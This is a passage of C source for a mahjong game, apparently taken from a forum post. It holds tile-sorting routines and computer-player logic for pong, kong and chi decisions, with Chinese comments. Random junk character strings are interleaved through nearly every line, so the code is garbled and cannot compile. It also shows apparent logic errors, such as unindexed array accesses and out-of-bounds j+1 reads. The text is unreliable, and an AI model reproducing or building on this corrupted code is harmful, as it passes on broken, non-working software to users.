u=computer.pp[n].number;% D9 V$ C; I1 e% |6 `$ r
computer.pp[n].number=computer.pp[j+1].number;
, ]: _. d0 ]7 k% r4 ^: C3 ?computer.pp[j+1].number=u;
+ p! u4 V+ q; J  Q}* v6 Y( X. a5 }& J8 q0 |
}
6 B& ^" I; r; S, |1 I  A: L}
& F! h! C6 H& v7 M2 Y! l% ^void melipai()
. m! `( m8 J+ D* H{ int n,j,u;2 T* r8 |7 o/ [
int *lingshi;! S9 z3 F- U$ O* S
for(n=0;n&lt;me.m;n++)
" t9 h. n0 C3 G2 W9 Dfor(j=n;j&lt;me.m;j++)
" G# G+ e: n$ W- c# e4 o{+ D# Y7 U- V/ }9 F
if(me.pp[n].number&gt;me.pp[j+1].number)
/ x3 ^# r1 ]4 m1 J* l{
: ?( Z' J1 l' Z7 l. \) D; V  Dlingshi=me.pp[n].k;" q6 V6 Y0 o! r$ }$ e- X0 W
me.pp[n].k=me.pp[j+1].k;6 ~* {, ?0 Q( F' Q" x' D; f7 M
me.pp[j+1].k=lingshi;
. t3 m: [3 @1 vu=me.pp[n].oneorfour;% Q$ t  z/ d  L: {; ^" q
me.pp[n].oneorfour=me.pp[j+1].oneorfour;% d: n  P7 l: J& D- G3 R7 g
me.pp[j+1].oneorfour=u;
, N- N3 }* \6 }5 su=me.pp[n].number;
- C# y# O$ f, _6 e4 j9 L9 vme.pp[n].number=me.pp[j+1].number;, `6 L9 ~7 o7 m% [1 I
me.pp[j+1].number=u;; t: _! d' d- u  D+ v
}
- ~( C! ?% M! [+ t0 u: }, Delse
: M9 R; L$ P2 \  z( Eif(me.pp[n].number==me.pp[j+1].number)
2 f8 D5 u+ X% k5 h) tif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)  g; P8 R0 |8 [' z0 p1 s# X
{3 V- x3 K6 f" R- y6 j
lingshi=me.pp[n].k;
9 J1 a4 O. O+ h, a$ _me.pp[n].k=me.pp[j+1].k;
- s# ]6 n# t5 L4 Kme.pp[j+1].k=lingshi;
6 o+ N8 t+ X  l. v' v( Q: F# ku=me.pp[n].oneorfour;
2 u0 [( ?% [) y: n6 y/ {; Eme.pp[n].oneorfour=me.pp[j+1].oneorfour;0 D5 n0 u0 q- w  R5 d, V
me.pp[j+1].oneorfour=u;5 H. a2 G$ U" ?3 R5 H% ^% U: Y
u=me.pp[n].number;
7 F0 o8 U! y" u, Q% ame.pp[n].number=me.pp[j+1].number;
7 J2 i4 T5 r: E& q1 S. r, Y* @me.pp[j+1].number=u;
& A2 m5 t( `7 \}
' Z9 `4 @' e! E! n* ?}
. \1 ^3 s* H0 B; f}
. D/ D/ j; g0 N1 O% ivoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
' @; ?; ?; x6 `{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
3 f% ]# G5 c( a( M; ]+ c9 qif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
% G$ x1 B, F7 D6 N% R* w{
* q( f, N3 k3 c8 }/ w; ], dlogo=1;
3 P7 p7 S9 S! c2 S/ Oif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
: D. u0 H& B% N" Y! o  Llogoo=1;* [! n2 b% c& n9 E1 @+ f
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)  Q3 S/ ]8 B2 k
logoo=2;0 I2 B( q& Q6 h; w+ c
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
; W# x2 U  V. V+ klogoo=3;
/ [8 B$ r( x5 z' yelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
0 A: ]' [) o0 H0 c1 Q& p0 Alogoo=4;  \, @2 M- h& W4 D( I5 d
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
6 |$ k6 R) E' m8 w1 k3 glogoo=5;
3 K$ [/ G. L  o6 n& Pelse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)0 }& k2 ^7 t  C. H6 ~6 i
logoo=6;
! S3 [% E7 s1 o+ K. j; n+ ]else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
; t8 i1 }2 S) u! n4 ?logoo=7;
" ~/ M3 U+ S& E: }7 Nelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
' n: z8 H* j$ M4 plogoo=8;
" }, o( U/ n6 E. relse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)1 }6 D' ~( G0 y, t9 L: }. L/ L4 z
logoo=9;
2 v2 b! A, J" ~$ |( M4 b}+ ~& s9 u+ {4 ?; A
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)% ]6 g) K8 J6 e
{1 E2 L; A: F) `( g$ j; A5 f% Z
logo=2;& E$ u9 f1 {7 G- p1 ?
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)7 D/ n; a  X1 S/ h: s
logoo=1;0 e9 n' \! x0 K9 f6 ~1 _; g
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
" u% x, F5 I0 S' W) plogoo=2;9 X8 p% r7 g( G; a4 W9 {; U
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)3 d* T  n& z. [3 ^  k
logoo=3;% a7 K+ T2 u% n; {$ V6 C  T
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
& \' }& F) Y$ d: Rlogoo=4;9 h& o+ l* q! C# S, i
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
" S9 g. T4 E5 Y7 {9 [logoo=5;
. S( ^1 ^# T% c& H* selse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
" c, O; \. B! alogoo=6;
' P0 c/ r. l2 w* q8 G- j: Selse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)( I) m; _6 o6 J
logoo=7;5 i4 o& b0 o% l0 n
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
9 x3 w, S5 V3 r1 X$ i9 ]) s5 nlogoo=8;+ I) x$ B$ H9 e' H! i$ H
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
5 s3 b5 \0 T% u4 C& S' ylogoo=9;
* |( G2 n' S3 i' w6 F}
0 y2 N9 [! I& v5 g9 Uelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)2 v0 J1 g% _& ]: Y
{9 b% u( V# e) v$ v( m& |. n3 |; W" F
logo=3;2 Q, k% \- p, B7 U1 O0 z, x
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
* [# m+ ]. X) V9 P1 U# b: Alogoo=1;
$ x& w6 Z7 B. C- S8 P6 Velse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)& ^0 N4 t- D, y/ U4 Q
logoo=2;' [4 ~# P  c, F5 M  e. E  U, L
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)4 J: S# n1 z( s; }
logoo=3;
/ ]4 T1 m3 V4 N; t; z- l+ f" gelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
0 W7 z$ W" T! i/ mlogoo=4;- M. h1 s  W( Y; B/ _
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)( D3 g; C' G% O4 B
logoo=5;
3 Z4 S$ x* E8 q9 Oelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)" @! E* x5 j! y0 D$ j) Q. I' ]4 V
logoo=6;
+ y% ]1 x5 o5 ], R- Velse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
  t% x% o1 ~; Glogoo=7;/ [  u' I+ U- N* o' F, g
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)( y' }1 F: j/ G( v4 N  G% ]
logoo=8;  ^" n. T6 C# h3 ]$ o
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
8 k& z$ v2 O8 }2 Y: X3 p, b$ }: [logoo=9;
- T/ _, N& |, a% _- n& b}
+ B: m+ V) [6 I( Q+ c  O0 j) D4 b& Eelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
* Y2 I* ^" s) J: a! L{
- E$ j5 G* m# J" e# F  Ilogo=4;
4 J6 h- N% P7 }1 wif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)) {5 a: A" {* K7 P5 R0 R
logoo=1;* o& n$ h( p. G& D
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)( Y$ r/ g4 K1 @/ F8 r& l: x9 h
logoo=2;
& s. D+ v- p! T6 f* B2 belse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
7 t4 k) N0 i  s4 }% S( p2 U; vlogoo=3;
8 d5 l! e9 h( O) K0 {6 _4 r. P7 i* Lelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
" W3 y" }0 b+ q4 glogoo=4;- ?9 Z3 v6 z; p' |! G& H
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
' I' p3 ^1 g" r4 Elogoo=5;* ], Z7 x$ Z& `4 s1 _, g$ V
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)6 @! D" M( D8 F% ^8 G5 y
logoo=6;% t! @+ W# Q2 i' B$ ^$ k' n
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
( s* u3 ?3 m6 n$ X) v# _0 Clogoo=7;+ I0 L8 h3 h! t9 c9 Y& j: j
}
/ S( Z" X1 D8 dwhile(b&lt;=computer.m)* L% e5 k1 |7 z% [  v5 G' ~8 n
{8 i! r2 ]* f) _" M
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
. {% P& M# F% o' C& {{
4 E3 k9 b1 o5 R2 e' n  Clg=1;" ^6 Q+ q. ?: F0 S3 {
computer.pp.d[0]=1;
7 }" N! [1 G& Zif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)4 \$ w0 s7 B, n4 y# ?( n1 _
{
$ I/ T7 m: K, D$ Y& P) Y* Wlgg=1;
' n% b" d# R5 \/ m) I7 vcomputer.pp.d[1]=1;
( n# f* P% a9 c, K+ Q}' l* f/ ?- @( T  v6 {
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)5 p' v0 g% W2 V/ x
{% _! t& D; T2 ~( \
lgg=2;
4 T- s2 [- b* }3 D. l  M+ `' Bcomputer.pp.d[1]=2;% j! r/ Q+ `5 T9 G$ h& V* @: R, Z
}
) S0 v- h0 }+ }0 o, h" D4 gelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)/ B% Z6 G/ _/ B; i7 x( U3 U
{
7 U3 A6 w' D! ]9 hlgg=3;
6 ?; @5 h2 N* g% \) [computer.pp.d[1]=3;
; U/ u& }5 c  f; E}7 T, V, A5 i- i6 s8 P" d  D
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
" W1 J( [* z' m& r* \{
! X$ j4 L- Z7 {9 C" _lgg=4;
$ f- o5 t4 H3 H5 lcomputer.pp.d[1]=4;
, i! K4 a8 B) p! D}, H  D2 N: e* Y, P  q
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)( g! E7 h2 `0 E8 K7 O
{
+ S$ ^) I; P! B% t3 ?. N6 q% t, klgg=5;' J) E( U% V' U% p% a) Y* |' x
computer.pp.d[1]=5;* K( Q# v: J3 [4 `
}
/ h6 {) p2 E5 ~( |9 _( q/ W( y/ Melse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20), Y! ], h( B$ V6 x. n" t- |
{
8 K- e* l; ^6 O- Llgg=6;4 e) E" q/ y# O4 B2 v
computer.pp.d[1]=6;% g9 g! {/ [5 k8 }5 J. _+ e
}
$ p/ W2 N" k5 Y: [+ l$ A1 celse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
) M# z4 j! z/ E2 `{
' W6 e% Y/ f2 }) A9 slgg=7;
' \, ~6 j5 U# m, g% H' v! O8 p9 Wcomputer.pp.d[1]=7;
2 V/ @* \, w; [, \5 Y: Q1 l, l& z}
$ A& j7 [2 J, T) D: ^/ Celse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28); Q, L8 T- A8 E) [* W9 S0 J
{
" i+ j/ d& z0 P4 k% k" nlgg=8;
1 p3 T+ d$ h/ A9 v0 Pcomputer.pp.d[1]=8;
5 l+ h9 l5 i" m. O4 b4 [6 B; ~}( I& h0 u5 h$ `0 U; v% j" M
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
' Z* j  a% o5 d4 d, }{
1 }* J/ n$ P3 S) Z5 p: ?. Nlgg=9;
: z& i& I8 u: C/ T: w9 Icomputer.pp.d[1]=9;
7 J6 k! ?7 [7 U- E9 M2 i: |8 r}/ x/ @/ Q/ {8 i' D) P9 s8 o6 z1 v2 Z
}
& T) g, h/ `3 v& ^2 Y* qelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)( E+ D3 r1 g; E4 W" v. J
{6 p  e+ _7 ?( ~6 K  t
lg=2;
7 k" H2 U" c4 u  S6 a2 Z4 {computer.pp.d[0]=2;$ Y% `$ i. a% s% X' y
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
" m$ H' [0 j6 |$ ]* J# `{
* |& k4 H" h9 i1 q+ l1 p1 ]* blgg=1;# u, |; z. [2 |8 ~& z, r: f" J
computer.pp.d[1]=1;
1 B. L; K. f% N}4 }; p0 Y7 e6 H5 V2 h2 L
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)- B. V) s8 z; I6 X" }: ]# H8 Y3 Z
{  P0 m$ W/ c* t- M4 I, `! k* B
lgg=2;
: t" m$ @! G6 l& t) Ocomputer.pp.d[1]=2;7 D2 x; k4 Y3 E1 u; k5 i
}( B6 t: N) F% X  z2 W
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)* [* j! f7 ?5 c; D7 m7 M3 k
{
- h; o5 p) N7 ]# O  N) C# ^& {lgg=3;7 e6 S$ r* b- B3 Y# s8 c
computer.pp.d[1]=3;
: ^8 ?6 \+ Y: Q! b  ]* o}9 s5 h) A3 t! \) i7 u0 a9 T8 K
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
4 c: W; M# l; Q  N{4 `5 o. j5 r4 I, i9 w0 P
lgg=4;+ ], h6 E" q- ^
computer.pp.d[1]=4;. @. {' e! E+ `8 `' m* j
}2 C* n9 i6 h$ G$ W
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)% F( w; F" O' ^2 q% e
{0 q7 ?! S$ K3 l4 l/ W5 J
lgg=5;
) D) X+ o- P' Z1 icomputer.pp.d[1]=5;) k& P2 W# }9 Y4 D% d5 m
}, L- k- V1 g2 O$ Q9 t- d  X
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
0 h- r  S7 u/ `3 ^5 m{
- X& j/ O" E; u  Ylgg=6;( O5 d5 l3 I6 `; f9 O  Q
computer.pp.d[1]=6;. ]8 v2 t& ^$ X0 B1 S2 u# y
}
* j" v- ~6 ^1 celse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)/ a/ t7 U4 ~: @0 s7 d# w
{
5 j! R) |2 V/ l9 R" w; Q! Blgg=7;& F0 [, }6 s3 }8 o# B% @4 R0 o
computer.pp.d[1]=7;
& ]+ e9 Z) T( D8 C6 S}+ f! c; G& x$ G9 o9 i) P2 ~$ O
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
8 S2 W7 A# P' l5 S( e  Y, |{6 y# }, H0 x5 w: Z
lgg=8;
& d7 y: ?1 S9 v6 ^8 R3 dcomputer.pp.d[1]=8;2 }9 A4 t& i3 C' j; k& r1 F* r5 b
}
) }/ E- e5 @3 E0 Uelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)& q; W8 s3 D5 ^, @2 R" [
{) d$ A# `, Y+ v% x) a
lgg=9;
* h2 n1 K* w5 r; Hcomputer.pp.d[1]=9;
, d9 l, f( k  d/ p+ X$ o}& p8 N* t3 J: Z# P
}' G. l  e$ g0 }- e9 v8 t
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
" _1 E$ z3 A6 H' _7 {; Z{
# A# }. Q2 K' i& D5 elg=3;
  M) i6 {! q$ V, y$ P% Acomputer.pp.d[0]=3;
) E% N% ?3 D6 k- R0 ]9 s0 }+ Kif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)$ U+ K- r( g" H2 h0 P9 T+ u
{" Q) o" s( @7 Z
lgg=1;5 u+ w; u) J2 Q, E+ d" M. v# ?; w
computer.pp.d[1]=1;
5 d" N4 h  t  I8 F+ d3 n}0 a! j! r; W6 T, s) X
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76). L& N1 i7 a8 U' P: |
{9 P8 K- F3 u5 P' q& t
lgg=2;
: X9 s9 E& f4 L$ ^8 M! ycomputer.pp.d[1]=2;  \  _% V9 |& }
}/ r$ y- x$ Z( B) H# A4 X% n
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)* }9 u4 D6 }) T; g) B" j% j
{6 R- B& Q( x; J- E6 \5 t
lgg=3;
) v0 V- P1 M% X* I- ?) N6 \computer.pp.d[1]=3;5 t" v4 s+ v* l: f" l0 U7 L" H
}
7 k1 {" b7 _( r. U7 K. z( D7 _else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
1 d/ N2 a$ ]) s) h{( u4 F3 c$ \. W
lgg=4;
  c$ d4 u: p; \( W5 m3 B% Rcomputer.pp.d[1]=4;. ^- z8 z. x5 |$ d  D
}9 A. \" {( J+ b# T& K  h2 n
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
; |- i. k5 C5 O8 r4 o{
% J+ F  i/ V$ W9 @5 c& ^  slgg=5;
% b$ R3 M' h/ c5 S3 I# N& ]computer.pp.d[1]=5;
7 [0 u8 |2 a* L, F; p3 Y}& h. F$ P( r+ x2 v, d; A( C  T
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
. i9 e0 g9 o' P8 l' Y: `{
# Y$ N: n. O1 q) T, f- p0 Z% dlgg=6;" o! d: R& r9 |/ L; F( ?: L2 _1 _, C
computer.pp.d[1]=6;3 o' C0 [4 O4 E( u
}* {, c, R& Z0 F/ z: G9 K
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
* P- a; h. D: X; y" f* ~9 J+ \/ ~. _{, H% Z; s& v: r7 j0 C
lgg=7;
1 \' N  x' \, L1 J" {$ K3 ycomputer.pp.d[1]=7;
  w* K  [: t1 {}
1 T& G6 ]5 z$ p$ K! k) Y* Z% zelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
7 _# k" j6 |, e# i9 ]8 q' I& k{
# @6 j# z* Q" Q1 olgg=8;' ^/ V" x7 `$ w! V  q& Q$ P7 H
computer.pp.d[1]=8;
) Q' @0 z4 o! Z}
" \2 F( k5 S$ l0 Kelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)- ?# a' T) l/ a2 B! q4 z
{
" v" \( l" _9 }7 Blgg=9;3 g: H: Y( H/ x* F, v* U
computer.pp.d[1]=9;% v. q1 ]( Q2 `% W
}8 \* [. Y4 r% [" ]8 ^0 W& ?
}* s' I& X1 ~7 r# Z: F
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
! ^; V& {/ ], `' O# O/ M" V{
$ o& o, ~- K' ~, o) D; w* [* olg=4;: S  ]2 v: I! r, z
computer.pp.d[0]=4;
4 L" }* u3 ~: x' V6 Bif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)! Q2 q8 [9 r) g" C) E- e5 s# E$ W
{
- I: T! ~. {* L0 L- k- a! m  Blgg=1;
& Z2 `4 [( h* r1 Kcomputer.pp.d[1]=1;
9 z0 J; |$ j& K, l  r}
( k  ?6 c3 Y5 x+ r$ _  `else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)* J6 R, A6 F& X+ k" t
{, d  x! |7 O* w
lgg=2;
$ l9 [: e6 W4 I: c, [/ n- k1 W! D# Xcomputer.pp.d[1]=2;
7 g" y7 |& T7 r7 ?7 d}5 c4 S$ ]1 F. T# h  t
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
; R; E& |" K4 r  j- E, u+ t+ K{
) e/ ^1 n1 {( p& p  clgg=3;2 ^+ X9 x2 ^* O- g% V( E
computer.pp.d[1]=3;
! i. ^: y7 I% N}* l/ j8 \7 x0 }! ]4 ?, V( }' f
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)7 r% _( o; f7 w4 m
{; ^# T* \( a$ M8 g: w0 O
lgg=4;5 b; Z) D) I; R8 T
computer.pp.d[1]=4;8 t! x3 b! {1 \/ i
}
1 W& A( ~+ E/ A. q5 r( n5 Telse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
( V1 |5 A/ E* l2 o9 W, B8 B{
3 e7 U6 g7 w( llgg=5;
; ~! W* j& `1 E) l: Dcomputer.pp.d[1]=5;& K7 q! N1 ?& c* G6 R
}/ f0 y8 v; @7 N! D- I
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
! Z& Z9 F+ D1 {7 d3 H  X8 I5 V{
- J8 B8 D" M3 Q( T4 q: x- ^lgg=6;8 N# k0 S* D+ |% z
computer.pp.d[1]=6;
, f8 ^( N. y" S}! m" l) g& j$ s* G( }
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
1 e& a( C5 ?* n& {: n2 _" l! f, l{+ ~7 l3 }. D1 y( t$ p* X: Q% D, t7 J
lgg=7;
( c5 I& \8 Y( q3 f4 pcomputer.pp.d[1]=7;
$ h  g* l" k+ R6 |7 K}  }% E0 p; K! h* A( W) O
}
5 {) v. }+ `1 P- C; w3 ^& G. r' J" C% q% P
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
0 t7 @. I- j' Y4 D- `4 M9 ]9 }if(logoo==lgg)
# O) \: p* V! e! [+ opg++;
+ G+ D; I4 ]) T6 ?2 C5 o2 C8 Nch.lg=lg; /*保存电脑手里的每张牌的信息*/$ B# C- b; V9 R& c0 x, B
ch.lgg=lgg;( u; K1 m* q9 d% e& C( [
lg=0;
  o  b& N' S" `. y% F$ t2 Xlgg=0;2 R( D1 X& U  w; i  {
b++;
: e1 G/ J; a" q; A9 f7 }, C}
0 W( ~* h; i+ Qif(pg==2) /*乓*/
/ k) c  d4 D- N1 s& ~3 |/ w{
0 R# a. N2 E8 Y- b
* T* p3 d2 m; ?sing=1;
4 S8 W1 F; M2 H. U2 x% t  d' k% s' \b=computer.m;! p: }5 d% r$ D0 w& l
while(b!=-1)/ y+ H: h$ t' H
{) S% y. n, L( g) D, a0 \; M8 p* S
if(strcmp(me.pp[c].k,computer.pp.k)==0)1 |. L0 s8 \& y
computer.pp.p=1;
/ c" h, L( u6 B2 U9 h! p2 @7 f4 V
b--;1 {; O. R8 }  n6 {3 G1 m
}4 r$ a/ H4 S' H" C5 _- H6 F
}. T/ Z% p- j& s9 C2 S  w
if(pg==3) /*杠*/
4 P& _3 v2 _2 J{
) N/ B' ?* A; B/ i" P' N+ G1 ~
  |0 R# y7 u2 ysing=2;
# o" F% ?6 f. [6 q/ M& B' _/ fb=computer.m;
- Z' q: K4 e- c' p# S" ~8 Nwhile(b!=-1)6 y2 v3 _8 M% _" ?
{
. ?0 w; j! \* {if(strcmp(me.pp[c].k,computer.pp.k)==0)0 ~+ }+ O+ h  Y$ l
computer.pp.g=1;
- p2 z( r' Z% I+ M& s( gb--;; ^0 W3 H+ I: }' S& O$ s1 |
}. B* ~5 h6 v  v- m& R
}0 W# q+ K9 k; ]; M
f=0;7 ], ]$ c. C* E/ ]/ [% j
while(f&lt;computer.m) /*吃的判断*/. A# ^" W' }2 b# i5 n# f" _
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)3 \4 ^9 F# s5 Q; _9 n( B! ]* k9 a
{0 Q! q' _& f( ~. }9 I. d
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
8 U: \" P. E$ u8 |9 k% Dif(ch[f].lgg-logoo==1)4 N9 n( l6 U! z( X  y
{2 N; `, W4 R$ `. l8 G
gp++;! \0 p) t. Z' ]  M" W( S9 G
computer.pp[f].c=1;  r* I9 Y# @. g0 \
computer.pp[f+1].c=1;6 d& s/ s9 D) H  }  L
}
& |/ A2 S- E! c6 o* D& @3 T; vif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
3 L1 q. K  O* [' j: `; B1 j' nif(ch[f+1].lgg-logoo==-1)
$ k4 `6 u0 F/ C4 q( q{2 L7 K0 z5 V% _# |( I# q2 s
gp++;
9 m( m& A: \9 R! V( Vcomputer.pp[f].c=1;
/ F6 K( @  {; Zcomputer.pp[f+1].c=1;7 n6 O# v3 v7 H2 O
}
& M9 m0 P  Z1 {# u; @if(ch[f].lgg-logoo==-1) /*中吃*/
1 p0 l0 ]( h5 f$ S3 A' dif(ch[f+1].lgg-logoo==1)1 h6 }: L* O1 Q$ ~
{0 k; W0 j/ c, {
gp++;  Q, J# B: Y, d! i
computer.pp[f].c=1;" l3 N# f( O: `2 x3 b
computer.pp[f+1].c=1;+ G6 @. u; V. A. Z) t
}& z" a8 a" a4 {  G! }
if(gp==1)
; O( r3 [4 V! P4 _& `break;
# S, G& n# P% \$ W* z- c}
$ I$ m' m9 R1 q8 kf++;
9 @6 V1 v0 d" G4 O: U! _}
: ?( D/ Y- O: c: Lif(gp==1)
3 Z! P- O& R9 M0 m7 g2 b{sing=7;4 G5 V: G0 `- ^" b$ q6 y: K' A( b
' U+ ]; w! v% g8 @& v* t+ V
}
' P/ @' Y) Z+ s0 Dpg=0;
7 w: E. ?4 E% O% `8 A7 I& ~gp=0;# B% A2 q8 X; P( O  z* @' F& G
b=0;
( `7 r& ~# e2 W' R" r; J}- Y; m6 X7 b  g0 T! f( u
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
& l" O. h" D8 V* p. ?{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
( l& q7 u$ M) M2 \) `if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
7 y6 J; m' r8 e% J& [/ D+ U! ]  |{
5 _+ p# _* N7 O+ l1 J4 y% s# vlogo=1;6 q5 {) v0 v& t( o* d
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
3 G0 {; S' j2 z; K1 Hlogoo=1;0 x9 I" p5 _- C* l4 Q; N1 y
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)6 |4 T& T. @8 a, D
logoo=2;
& F: d( Y9 K3 j8 @! J& r- E; Welse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8); }9 z+ Z0 C4 h* R) E
logoo=3;
2 @7 b! [& E$ i: i2 Zelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)$ ]6 u4 P) n# p9 ^# ^5 S0 l+ L0 M
logoo=4;2 C) ?; S/ p& D; j4 ^
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
* F3 ^! F$ v: c2 F9 s1 elogoo=5;$ V( `4 O. v4 x0 |  j1 _
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)0 A2 j  h% o  |& Y1 Z; ^1 G
logoo=6;, e; Y. O% h9 }# O
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)& D4 x* j# M9 L) G4 B
logoo=7;
, V9 [1 p! [9 F+ a$ zelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
0 h; ?7 l* }$ \$ ologoo=8;+ j: f5 s  i- K' e
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
) k# D6 ]% s3 R# h# d0 tlogoo=9;  j- ]$ Q9 q0 C, N9 v- w
}  W' }& }% _6 [, i  l
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)+ ]* Z; J; u7 H. G+ k8 V/ b6 F
{) G, [2 s# D. _
logo=2;
* G% ]. R3 r: X% bif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)- ?  Z8 S) n6 [$ {% q- c3 S9 M
logoo=1;$ [* Y+ q' `2 Z" _, Z
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)) v6 W* q7 R0 h& Q6 W2 S: B
logoo=2;
4 y# I. M7 f; E7 T/ B+ V: telse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
